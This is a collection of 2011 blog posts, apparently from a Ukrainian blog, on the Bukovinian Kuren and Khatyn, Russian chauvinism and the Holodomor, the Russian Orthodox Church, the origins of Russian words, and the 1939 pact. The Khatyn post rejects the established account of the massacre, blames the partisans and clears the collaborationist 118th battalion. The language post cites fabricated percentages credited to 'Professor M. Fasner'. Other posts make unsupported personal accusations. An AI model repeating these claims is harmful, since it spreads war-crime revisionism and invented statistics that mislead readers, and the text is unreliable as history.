Сразу после начала советско-германской войны начались попытки уничтожения советской власти на местах. Кое-где местным активистам даже удалось вырезать всю милицию и администрацию ещё до прихода новых оккупантов и организовать свои органы власти. Румынов здесь, конечно, с цветами никто не встречал: двадцать лет под их господством не прошли даром. Среди широкой общественности были популярны ожидания создания украинского государства под немецким протекторатом. Тем более что Гитлер долго не мог определиться с судьбой Украины, и его публичные заявления противоречили одно другому. Сегодня мы прекрасно знаем, какое решение он принял. Украина была поделена на несколько административных единиц, а 15 000 кв. км Украины, в том числе и Буковину, немцы отдали Румынии.

Однако и немцы, и румыны, видимо, прекрасно представляли себе способность буковинцев к вооружённому сопротивлению. И в качестве отвлекающего манёвра была запущена «утка» о том, что на Востоке Украины будет всё-таки создана украинская держава. А поскольку Восточная Украина ещё не была захвачена, то украинцев призывали создавать вооружённые части для участия в военных действиях. Цель ставилась простая: вывести с Буковины самую активную часть украинцев. И цель эта была достигнута: очень многие, особенно – молодёжь, поверили. Особенно привлекало создание собственного вооружённого формирования, которое, как многие надеялись, может в дальнейшем стать ядром будущей украинской армии. Буковинцам однозначно не хотелось оставаться под румынской властью, многие опасались политических репрессий, а ещё большим жупелом была мобилизация в румынскую армию. Румынские власти согласились выпустить всех желающих, но потребовали от них отказа от румынского гражданства. Абсолютно все сдали румынские паспорта, чем отрезали себе путь назад.
Смешные наивные люди. Никакого государства нацисты создавать не собирались. Оружия, само собой, им никто иметь тоже не разрешил. Даже военную форму, которую они смогли организовать своими силами, немцы запретили. Толпа народа просто двинулась на Киев. Это мне даже напомнило Первый Крестовый Поход Бедноты. Акция проводилась под эгидой ОУН (м).

Снабжение продовольствием, которым занималась всё та же ОУН (м), было налажено из рук вон плохо. В походе буковинцы часто голодали, но всё равно находили возможность делиться провиантом с местным населением. Зато почти в каждом посёлке, где они останавливались на ночлег, они обязательно давали концерты: для этого с ними шли музыканты и артисты. Интеллигенция, которая тоже шла с ними в Киев, часто оставалась в городках и посёлках для организации «української влади на місцях». С ними оставались и молодые ребята для организации «української поліції». 

Через полтора месяца буковинцы попали в Киев. ОУН (м) организовала что-то похожее на Учредительное Собрание, где было провозглашено создание Украинской Национальной Рады (УНР). УНР приняла робкие обращения германскому правительству с просьбами об организации украинского государства. Но даже эти верноподданнические петиции в Берлине были восприняты как бунт, и уже через полтора месяца деятельность УНР была остановлена. 

При всей половинчатости позиции ОУН (м), её судьба, с некоторыми оговорками, повторила судьбу радикальной ОУН (б).
ОУН (м) начала организацию подпольных групп по всей Украине, а местами даже было налажено сотрудничество с ОУН (б). В Николаеве совместными усилиями им удалось организовать побег арестованных немцами членов ОУН (б). Конечно, гестапо выяснило, откуда ветер дует. В начале февраля в Киеве были проведены массовые аресты активистов ОУН (м). Большинство было «расквартировано» по различным лагерям, а многих расстреляли.…

А что же «Буковинский курень»? Львиная доля его членов перешла на нелегальное положение и занялась подпольной антифашистской деятельностью по всей Украине. Многие были позже выловлены гестаповцами, отправлены по лагерям или расстреляны.
А вот дальше – самое интересное.

Советским историкам очень хотелось привязать Буковинский курень к Бабьему Яру. Но натяжка оказалась слишком большой даже для них, и буковинцы были оставлены в покое. Зато досталось «Киевскому куреню»: его в участии в расстрелах всё-таки обвинили. 
Судьба «Киевского куреня» - не есть предметом нашей статьи: нам с Вами дай Бог с Буковинским разобраться. Могу только пообещать читателю, что и с Киевским куренем, и с Бабьим Яром мы ещё познакомимся. Я даже увлёкся: чем больше читаю, тем веселее. А у нас впереди самая занимательная страничка истории «Буковинского куреня»: Хатынская трагедия. 

Итак, в начале 1942г. «Буковинский курень» был ликвидирован нацистами. Вместо «розбудови нової України» членам куреня было предложено вступить в 115-й шуцманшафт батальон (охранная полиция). Возврата назад, на Буковину, как мы знаем, у них уже не было: перед уходом оттуда все они отказались от румынского гражданства. Поэтому часть буковинцев влилась в охранную полицию. Туда же были включены военнопленные украинцы, как отмечают источники, с Восточной Украины.

В мае были арестованы гестаповцами все офицеры из буковинцев и галичан. Больше их никто не видел. На их место были назначены сержанты из военнопленных. Началось дезертирство галичан и буковинцев. Пойманных дезертиров начальство показательно расстреливало, но это не помогало.

Затем на основе одной из сотен 115-го батальона, где служило много буковинцев, был сформирован 118-й батальон. Его сильно разбавили молодыми ребятами местного набора, которым за отказ грозила отправка в Германию, и опять же военнопленными. Сотня буковинцев стала первой ротой 118-го батальона. В таком виде батальон был отправлен в Белоруссию.
В Белоруссии дезертирство продолжалось. Большинство украинцев убегало в украинское Полесье и со временем они стали основой УПА. Сбежал даже начальник штаба батальона Коровин-Корниец. После этого заместитель командира батальона Кость Смовский был отправлен в концлагерь Дахау. А новым начальником штаба был назначен Григорий Васюра, бывший кадровый офицер Советской Армии. Запомни это имя, уважаемый читатель.
А теперь – Хатынь. 

Чего только не начитался я в Интернете о Хатыни, уважаемый читатель. Пересказывать и опровергать всю эту ахинею нет ни сил, ни желания. Чтобы представить себе советскую ложь в полном объёме, каждый из нас может посмотреть 39-минутный фильм http://video.yandex.ua/search?filmId=kNhgSQq7UXI&where=all&text=%D1%85%D0%B0%D1%82%D1%8B%D0%BD%D1%8C 
Сразу скажу: отыскать там правду очень трудно. 
По официальной версии партизаны напали на нацистско-полицайскую колонну из двух грузовиков и одного автомобиля. При этом был убит один немецкий офицер, один немецкий пулемётчик и три полицая. Ещё два полицая были ранены. В отместку за это штурмбанфюрер СС Дерливангер приказал уничтожить деревню Хатынь. 
В Хатыни СС-овцы и полицаи согнали в сарай всех жителей села, обложили соломой и подожгли. В результате погибло 149 мирных жителей, из них 75 детей. Подробности опускаю, хотя смаковать их совпропаганда очень любит. Но она же в них и путается. Тратить время на опровержение всех их несуразностей не хочется.
А теперь о правде.

Для начала я попробовал поискать что-либо о Хатыни в материалах Нюрнбергского процесса. Я был удивлён, когда мои поиски не увенчались успехом: в списке обвинений Хатыни не значилось. С трудом верится, что советские прокуроры упустили бы такую возможность, если бы она была на тот момент… Это было моим первым сомнением.

Тогда я начал искать хоть какие-то доказательства, документальные или свидетельские. И вот тут всё стало на свои места. 

У этой трагедии, оказывается, было шесть свидетелей. Об этом существует (внимание!) Решение Исполнительного Комитета Логойского районного совета депутатов трудящихся. В нём прямо сказано: 
1. Утвердить Акт комиссии от 26 мая 1969г. по уточнению даты (…слово неразборчиво) дер. Хатынь и количество сожжённых людей немецко-фашистскими оккупантами.
2. Признать свидетелями Хатынской трагедии
1. Каминского Иосифа Иосифовича.
2. Барановского Антона Иосифовича.
3. Желебковича Виктора Андреевича.
4. Яскевича Владимира Антоновича.
5. Яскевич Софью Антоновну.
6. Желебковича Александра Петровича.

Конец цитаты.

Довольно необычный документ: свидетелей почему-то «признаёт» исполком, а вовсе не следственные и не судебные органы…
Да всё бы ничего, если бы не дата: 1969г. Ачуметь!!! 26 лет спустя! Это было моё второе сомнение. Но дальше – ещё интересней.

Над «прихвостнями фашистов» в Минске прошёл суд. Единственным обвиняемым на нём был Григорий Васюра. Помнишь это имя, читатель? А настоящим обвиняемым был весь украинский национализм!
На этом, извиняюсь за выражение, «процессе» Григорий Васюра, конечно же, во всём признался. Он называл конкретные фамилии украинских палачей, садистки упивавшихся кровью своих белорусских братьев, самозабвенно расстреливавших детей и насиловавших женщин.

Процесс был открытым, проходил во Дворце культуры КГБ СССР в Минске, и каждый белорус мог прийти и посмотреть в звериные глаза украинского национализма. В лице Григория Васюры, конечно. 
Но, опять же, всё бы ничего, если бы не дата процесса: 1986г. Прямо, дежа-вю какое-то. Через 43 года после Хатынской трагедии! Из шестерых свидетелей к тому времени были живы (во всяком случае, давали показания) трое: Владимир Яскевич, Софья Яскевич и Виктор Желебкович. Прокурор задавал им подготовленные вопросы, а они давали заученные ответы! А главное, на чём строилось обвинение, - конечно, «чистосердечное признание» Григория Васюры и всего украинского национализма в его лице.

Но мне не давал покоя вопрос: где немецкие документы? Почему ни один из них не фигурирует в деле? Архивы Третьего Рейха прекрасно сохранились, и они дают исчерпывающее представление о немецком делопроизводстве. Немцы – патологически скрупулёзный народ. На каждую акцию у них есть решение (приказ), в котором точно оговариваются цели и масштабы мероприятия, назначаются ответственные исполнители… И только наши сказочники могут рассказывать нам о том, что нацисты «искусно заметали следы, не оставляя никаких свидетельств своих преступлений». Чушь. Документы РСХА чудесно сохранились и обо всём нам рассказывают.

И документ, рассказывающий нам о Хатынской трагедии существует! Это донесение майора 118-го шуцманшафт батальона Э.Кернера начальнику полиции Борисовского уезда. Оказывается, всё было совсем иначе.
Партизаны и в самом деле устроили засаду на лесной дороге недалеко от деревни Хатынь. Появилась немецкая колонна, с которой шёл и 118-й батальон. Партизаны начали обстрел и убили немецкого офицера и пулемётчика (уже здесь стало ясно, что в колонне шли не просто полицаи: офицеры в 118 батальоне были немцами, а простые пулемётчики уже были украинцами; а это говорит о том, что колонна состояла не только из полицаев: шла какая-то немецкая часть; дальше мы ещё больше в этом уверимся). Однако сил своих не рассчитали: немецкая колонна оказалась серьёзной воинской частью со значительным перевесом в живой силе и технике. Из текста донесения явствует, что у них были противотанковые орудия и тяжёлые миномёты: передвигалась фронтовая часть. А это вам не полицаи. И не зондер-команда СС, где порох нюхали только при расстрелах мирного населения. Немцы дали партизанам отпор, обратили противника в бегство, а затем организовали преследование и настигли партизан в деревне Хатынь. 
Дальше – по тексту:

«В это время противник отступил в известную вам пробандитски настроенную деревню Хатынь. Деревня была окружена и атакована со всех сторон. При этом противник оказал упорнейшее сопротивление из всех домов деревни, так что даже пришлось применить тяжелое оружие, как противотанковые орудия и тяжелые минометы. В ходе боя вместе с 34 бандитами было убито множество жителей. Часть из них погибла в огне пожара. Большая часть жителей, во всяком случае, ещё за несколько дней покинула Хатынь, чтобы не иметь ничего общего с бандитами. Всё происшедшее могли наблюдать жители деревень, расположенных вдоль шоссейной дороги".

Ну, наконец-то. Оказывается, партизаны грубо нарушили приказ Центра: не заходить в деревни, чтобы не подвергать мирное население опасности. А эти «воители» не просто зашли, а жили там несколько дней, если население частично даже ушло от них подальше. Вообще, руководство этого отряда (Василий Воронянский, псевдоним – «Дядя Вася») уважения не вызывает: как можно было ввязываться в бой с заведомо превосходящим противником, а потом ещё и прятаться от него в деревне?

Теперь понятна позиция советского агитпропа: нельзя было рассказывать правду, потому что тогда вина за гибель 149 человек ложится на советских партизан, а этого допускать никак невозможно. И в Нюрнбергский трибунал с такой липой не сунешься.… Пришлось придумывать «версию для своих». Да и козла отпущения долго искать не пришлось: 118-й батальон оказался поблизости. 

Теперь мы можем двинуться дальше в рассказе о бойцах «Буковинского куреня». Долго по Интернету ползать не пришлось. Ответ дала Википедия:

«В июле 1944 г. в результате отступления немецких войск из Белоруссии во Францию для выполнения охранных функций были переброшены 115-й и 118-й охранные батальоны, сформированные на оккупированной Украине из военнопленных РККА. После переброски во Францию эти формирования были переименованы соответственно в 63-й и 62-й батальоны шуцманшафт в составе 30-й гренадерской дивизии СС (2-й русской)».

Вот как? 30-я дивизия? А как же участие дивизии «Галичина» (14-я) в антипартизанских действиях? А никак. Я ничего не нашёл. Зато о действиях 30-й дивизии нужно было просто почитать дальше в той же статье:

«Однако в боях против французских партизан новое формирование участия не принимало, так как уже 27 августа (в день, назначенный немцами для выхода на антипартизанские позиции) практически в полном составе перешло на сторону французского движения сопротивления. Из перешедших на сторону французских партизан был сформирован 2-й украинский батальон имени Тараса Шевченко».

Советскому агитпропу – большой привет. 

Опять вспоминается бессмертное: «И эти люди запрещают мне ковыряться в носу!»

Продолженеие следует.

Цинизм шовиниста

  • 12.10.11, 19:43
Василий Абраменко,
11-10-2011 21:44
(ссылка)

Это спам
ЦИНИЗМ

Цинизм присущ любому шовинизму, будь он французский, или
американский. Но, российский, - великодержавный шовинизм циничен
вдвойне! Да, что там вдвойне, - в квадрате! Как по моему
восприятию, так вообще без границ.
Судите сами.

Если кто
то скажет,- Граждане! Возьмите кошку, посадите в погреб, чтобы
она не убежала, не кормите её вовсе. Можете смотреть и
наслаждаться, как она медленно и мучительно умирает!
Согласитесь,
такой "призыв", - ЧУДОВИЩЕН. Наверное, он много скажет о
личности призывающего, и суд о этой "личности, будет не в
лучшую сторону. НО, это всего лишь КОШКА! Тварь земная, и НАМ
нормальным людям её жалко. Нормальному человеку, сострадание
присуще, ибо оно от Господа, оно есть СОВЕСТЬ, а совесть есть
Господь в душе человека.
Тогда как понимать, когда русский
человек, вроде в здоровом уме и памяти, с христианским
символом на груди, на статью "О голоде 32-33 года в Украине",
выставляет в комментариях демотиватор, где толстый дядька спит
на пляже, а внизу надпись, - "ОН УМЕР ОТ ГОЛОДА"!
Я
понимаю, что для истинно русского шовиниста-интернационалиста,
какой то там "хохол" умерший в муках на полтавшине существо
не достойное христианского милосердия. Что поделать, такова
природа шовинизма.
Наверное надо различать и отделять
граждан отравленных ядом шовинизма от остальной, здоровой части
российского общества. Но!!! Ещё раз НО!
В самой России, в
тоже время, люди также умирали от ГОЛОДА. Это всем известно!
Ни умом, ни сердцем не могу понять, почему в Москве погибшем
в голод 33-го года не поставлено, даже самого маленького, самого
не заметного памятника. Да, что там Москва. Она ведь не
голодала. Кубань, Курск, Брянск, - везде где бушевал голод, нет
памяти о "своих" невинно убиенных. Странно, но с этих смертных
в голод мест, также идут циничнейшие, до полной
бессовестности, комментарии.
Подводя итог своему эксперименту
над москвичами профессор Воланд заметил - "...люди, как люди!
Сострадание им присуще. Правда испорчены "квартирным"
вопросом....". Не стал искать точную цитату из "Мастера и ....".
Смыл её ясен, - сострадание и милосердие, это то, что из
двуногого тригладида, делает ЧЕЛОВЕКА. Так какой "вопрос"
из многих, очень многих людей России, причем заметьте не
шовинистов вовсе, делает.....! Делает что? Не знаю что, во
всяком случае существо не милосердное.

Русский
великодержавный шовинизм рядится в одежды интернационализма! Это
само по себе цинично. Ведь интернационализм предполагает прежде
СОСТРАДАНИЕ к другим нациям и народам. Вспомните, как мы
отдавали свои копейки покупая марки "Красного креста...". А
ведь эта организация создана именно для милосердия и помощи в
понимании страдания людей в далёких странах. Память о своих
страждущих не ведаем, тогда что говорить о других!

От
самых ярых украинских националистов, от самых самых "русофобов"
какие только были на моём жизненном пути, я не слышал самого
маленького, даже намёка на злорадство по поводу русских людей
погибших в блокадном Ленинграде. В "сети" я давно, и никогда
не видал НИ ОДНОГО похабного демотиватора, или просто циничного
высказывания от украинских граждан в адрес россиян умерших в
великий голод.
В день памяти жертв голодомора мы зажигаем
свечу, и говорим, - В ПАМЯТЬ О НАШИХ И ВАШИХ. Что же мы
слышим в ответ?....

Кое что об РПЦ...

  • 24.09.11, 23:59
о спам
Несколько фактов деятельности РПЦ в Украине
Вселенский патриархат указал московским попам на место и убрать руки от Украины

oleg_leusenko
September 5th, 21:48
Патриархи четырех старейших церквей мира призвали Русскую православную церковь придерживаться своей канонической территории.

В столице Турции Стамбуле патриархи Константинополя, Александрии, Антиохии, Иерусалима, а также предстоятель автокефальной церкви Кипра собрали специальный собор, передает ТСН.

Они подчеркнули необходимость уважать и строго соблюдать географические границы для всех православных церквей.

Этими словами патриархи подчеркнули на непризнание канонического статуса Украинской православной церкви Московского патриархата в качестве «неотъемлемой части» РПЦ.

Поскольку в Томосе 1924 года - соглашении об учреждении церквей, Константинопольский патриархат констатировал, что никогда законным образом не отказывался от своей юрисдикции над Киевской митрополией.

Что касается всей Московской патриархии и ее канонических границ Константинопольский собор придерживается Томоса 1589 года, согласно которому территория нынешней Украины не входит в состав Московского патриархата.

Конфликт заключается в том, что патриарх Московский Кирилл (генерал ФСБ и мафиози Гундяев) блокирует многие решения старейших церквей мира.

Собор предстоятелей старейших патриархатов считает, что РПЦ необоснованно видит себя во главе мирового православия.

Через новые решения Собора Московский патриархат может потерять не только влияние, но и будет вынужден размещать свои церкви только на территории России.

Патриархи четырех старейших церквей мира собираются созвать Великий (Всеправославный) Собор - высший религиозно-законодательный орган, который может решить конфликт с РПЦ. Но через систему, по которой принимается такое решение, еще с февраля этого года движение в направлении созыва Собора прекратилось.

Стамбул является престолом Константинопольского патриархата, которому оказывается «первенство чести» среди православных церквей.

Напомним, в этом году Гундяев посетил Украину на 25 годовщину Чернобыля, потом приезжал в Донецк и Харьков на юбилей. В 2010 Кирилл трижды был в Украине. Очередной приезд самозваного московского главнокомандующего попа в Украину запланирован на 14-15 сентября этого года.

П’ять копійок: Наконец Вселенский патриархат сказал свое веское слово московским интервентам. Московский патриархат самозванцы и с этим не поспоришь. Напомню некоторые факты из истории оккупации Украины политической структурой РПЦ:

Несколько фактов деятельности секты РПЦ в Украине:

1627 год. Указом царя московского Алексея Михайловича и его отца патриарха Филарета велено было книги украинской печати собрать и на пожарах сжечь с суровым запрещением когда-либо в будущем покупать украинские книги.
Так, в Москве сожжено "Учительное Евангелие" Транквилиона-Ставровецкого вместе с другими его книгами и "Катехизис" Лаврентия Зизания Тустановского.

1677 год. Патриарх московский Іоаким приказал из украинских книг уничтожить листки, которые имеют разницу от книг московских.

1689 год. Синод запретил Киево-Печерской лавре печатать В том числе "Четьи-минеи" Дмитрия Ростовского.

1690 год. Московский патриарх Іоаким указом запретил все украинское писательство, но и том книги "Четьи-минеи" Даниила Заточника велено сжечь.

1693 год. Лист Московского патриарха к Киево-Печерской лавре о запрещении любых книг украинским языком.

1709 год. Указ Петра І о запрещении печати книг украинским языком, а книги, печатные церковнославянским языком, сверять с российским изданием, чтобы у них никакой разницы не было.

20 декабря 1720 года. Петр І выдал указ киевскому губернскому князю Голицину, чтобы "во всех монастырях, остающихся в Российском государстве, осмотреть и забрать древние жалованные грамоты и другие куртиозные письме оригинальные, а также книги исторические, рукописные и печатные".

1721 год. Приказ Синода РПЦ посылать книги из украинских типографий в "синодную контору" для исправления их согласно с российскими требованиями и произношением и сличение клеймом цензора.

1724 год. Типография Киево-Печерской лавры оштрафована на одну тысячу карбованцев за печатание книг, не во всем похожих с „великороссийскими”.
На такую же сумму и за такую же "вину" оштрафована и Черниговская типография, которую перевезли в Москву.

1748 год. Приказ Синода Киевскому митрополиту Самуилу Милославскому ввести в Киево-Могилянской академии и во всех школах Украины русский язык преподавания, в результате чего на Левобережье исчезло 866 украинских школ.

1750 год. После отмены Канцелярии министерского правления малорусских дел в г. Глухове из нее изъятые и перевезенные в Россию дела тайного делопроизводства.
Документы архива Запорожской Сечи, найденные во время "разорения Сечи генерал-поручиком Текелиею в ларе под престолом сечевой церкви", очутились в Московском отделении общего архива Главного штаба.1755 год. Синод приказал Киево-Печерской лавре перевести на русский язык "Четьи-минеи" св. Дмитрия Ростовского и Киево-Печерский патерик.

1763 год. Указ Екатерины ІІ о запрещении выкладывать украинским языком в Киево-Могилянской академии, основанной украинским митрополитом Петром Могилой.

1766 год. Синод выдал суровый указ Киево-Печерской лавре печатать лишь те книги, которые в московской типографии печатаются и апробированные Синодом.

1769 год. Синод запретил Киево-Печерской лавре печатать буквари украинским языком и приказал отобрать у людей те буквари, которые были уже на руках.

1784 год. Синод приказывает митрополиту Киевскому и Галицкому Самуилу караты студентов и освобождать из работы учителей Киево-Могилянской академии за отход от русского языка.

1785 год. Приказ Екатерины ІІ по всем церквам империи отправлять службу Божью русским языком. Русский язык заведен во всех школах Украины.

1786 год. Синод опять приказывает митрополиту Киевскому контролировать Лаврскую типографию, чтобы никакой разницы с московскими изданиями не было, а в Киево-Могилянской академии немедленно ввести систему учебы, узаконенную для всей империи.

1811 год. Закрытие Киево-Могилянской академии.

1847 год. Разгром Кирилло-Мефодиевского братства.

1888 год. Указ Александра ІІІ "О запрещении вживания в официальных учреждениях украинского языка и крещения украинскими именами".



Небольшой исторический ракурс:

988 год - Крещение Киевской Руси.
1147 год - Первое упоминание о Москве в летописях
1448 год - отделение Московской метрополии от Киевской. Естественно, Московскую метрополию Константинополь тогда не признал - раскольники ведь однако...
1589 год - Создание Московской метрополии и признание ее Константинополем
1686 год - Неканоничное присоединение Киевской митрополии к Московскому патриархату...
В 1687 год - Патриарший Собор Константинополя осуждает аферу с передачей Киевской митрополии Москве и называет это - "актом симмонии",т.е. взяточничеством, а самого патриарха Дионисия принявшего взятку "три сорока соболей и двести червонцев" лишил патриаршего достоинства.
Т.е. передачу Киевской митрополии под юрисдикцию Московского патриархата через год было признано "актом симмонии",т.е. противоправным неканоническим деянием. После 1687 года никакого документа который бы подтвердил канонически законную передачу Константинополем Киевской митрополии Московскому патриархату, не было.


5 декабря 1448 года - дата когда епископы под предводительством Василия Темного разрывают каноническое единство между Киевом и Москвой. И 141 год она было неканонической до 1589.Об этом пишет русский историк М.В.Толстой.
Новгородская летопись:"Лето.1149.Иде епископ Нифонт из НОВГОРОДА В РУСЬ.,Лето 1165.Ходи игумен Юрьевский в Русь, В КИЕВГРАД. Это вторая половина 12 столетия.- новгородцы себя Русью не считают.
Ипатьевская летопись: Лето 1155. Юрий иде из Суздаля на Русь.-И суздальцы тоже.
-Карты: 1548 год. Венеция .Создан альбом национальных убранств с рисунками Тициана. Тут четко выделена Русь-Украина, которая граничит с поляками, Литвой, Ливонией и московитами.
1619 год вышел справочник "Державы,королевства и княжества мира". Там сказано, какая страна Русь или Роксоляния или Рутения.Это далеко не все источники.

Было крещение Руси, а не России. На землях России крестили разные племена, в т.ч. и татар гораздо позже. В Киеве была Киевская Митрополия Царгородского Патриархата. А земли теперешней Московской патриархии принадлежали этой самой Киевской Митрополии. В 1448 г. епископы Московского царства разрывают каноническую связь с Киевом. И назначают себе митрополита Иону. Московскую митрополию и Иону Вселенский патриархат не признал. И только через 141 год, когда Византия была ограблена турками, царгородцы вынуждены были просить денежную помощь и в 1589 году Московская самозваная церковь получила свой липовый патриархат. НО КИЕВСКИЙ ТУДА НЕ ВХОДИЛ.
Ко времени присоединения Киева к Москве в Украинских землях был митрополит Киевский - Дионисий Балабан. Он поддерживал гетьмана Дорошенко в борьбе против Москвы и присоединения Киевской митрополии Московскому патриархату.
Существует обращение московских патриархов к Царгородскому Патриарху в 1663 году (История русской церкви митрополита Макария) .В этой грамоте Москва просила передать Киевскую митрополию под крыло Москвы. Дескать спасать надо украинцев-казаков от католиков. Но получила отказ.
Через 22 года в 1685, "москвичи" на чужой канонической территории, самочинно проводят элекцийный собор, где неканонически избрали неканонического митрополита Киевского - Гедеона Святополка Четвертинского - родич гетьмана Самойловича.

ОТ такі от славяни........

  • 18.09.11, 18:26
Про російську мову.
У 1957 році, у п’ятому номері журналу «Вопросы
языкознания» на ст. 67, були опубліковані дослідження російської мови,
зроблені професором М.Фаснером.

З 4-томного етимологічного
словника О.Н.Трубачова він вибрав та проаналізував походження найбільш
вживаних (10779) російських слів і дійшов висновку, що:

6304 слів, або 58,3%, є запозиченими з інших європейських мов;

1119 слів, або 10,3%, є невідомого походження;

3191 слово, або 29,5%, українського походження;

72 слова, або 0,8%, загальносхіднослов’янського походження;

93 слова, або 0,9%, російського, тобто московського, походження.

И снова о войне и России

  • 12.09.11, 12:50


Неудобная история СССР





Неудобная история СССР
1 сентября 2011 в 11:42 Гайдпаркер: Роман Авдеев

Посмотрел
сегодня Интернет и был неприятно удивлен: тысячи сообщений про "День
знаний" и буквально ни одного об еще одной исторической дате - дне
начала Второй мировой войны. Про школу и образование я уже не раз
высказывался и выскажусь еще, но сегодня хотел бы порассуждать о более
трагических, но значимых вещах.

Начало Второй мировой войны 1
сентября 1939 года (дата довольно спорная, к примеру, для Китая война
началась в 1937 году) каждый год ставит одни и те же вопросы: можно ли
было «пойти другим путем» или кто виноват? Для России это постоянно
острый вопрос. Помог ли СССР, подписав 23 августа пакт
Молотова-Риббентропа, Гитлеру?

Мало кто из политиков, историков
или общества в целом готов однозначно ответить «да». И речь вовсе не
идет лишь о сокрытии неудобной правды, что Советский Союз фактически
стал союзником Гитлера. Ведь 28 сентября между двумя победителями Польши
будет подписан договор о дружбе (!) и границах с очередным приложением о
переделе границ Европы, включившем в сферу влияния Советского Союза
Литву.

Но это признание ставит в определенном смысле знак
равенства между сталинизмом и нацизмом, дает основу прибалтийским
государствам крушить монументы советским воинам и чтить память своих
граждан, сражавшихся во время войны в коллаборационистских (или
национал-патриотических?) формированиях на стороне немцев.

Дальше
– больше: неизбежна перекройка всей истории в сознании общества,
приобретает несколько иной смысл самая «святая» дата российского
праздничного календаря — День Победы над нацистской Германией, которая
отчаянно сохраняется год от года в качестве опоры для национального
патриотизма России. Власти не желают или не могут отступить от
стереотипов прошлых времен, когда основу для национальной гордости
составляли именно громкие победы в войнах, а не достижения демократии
или культуры. Сам смысл Победы как бы накладывает запрет на переоценку и
непредвзятый критический разбор сталинской предвоенной эпохи.

А
Гитлеру СССР тогда помог. Дал уверенность в том, что можно начать, можно
расчленить Польшу, да еще с советской помощью. Что не ударят навстречу.
Уверенность в том, что в небогатую ресурсами Германию потекут поставки
стратегического сырья. Почему бы это не признать? Аморально? Но в
политике и нет морали, а есть государственные интересы. Советская
империя закономерно стремилась к расширению, к восстановлению
дореволюционных границ. А постсоветская Россия не спешит расстаться с
имперскими амбициями и связанными с ними комплексами превосходства перед
другими народами.

Уважение к своей стране, вопросы ее престижа и
положения в мире до сих пор тесно взаимосвязаны с комплексом «силы» и
«мощи», а политическая власть поддерживает и культивирует эти тенденции.
Стрелки часов по-прежнему переводятся на Запад и неблаговидное
Мюнхенское соглашение 1938 года рассматривается как первоисточник и
виновник случившегося. В результате вечные поиски противников и врагов, в
том числе «виноватых» во всех отечественных бедах — все это было и
остается частью «культурного капитала», унаследованного российским
обществом без особого сопротивления из советского периода. На такой
основе к новой национальной идентичности мы вряд ли придем.

А нужна ли она нам?
http://gidepark.ru/user/avdeev/article/411986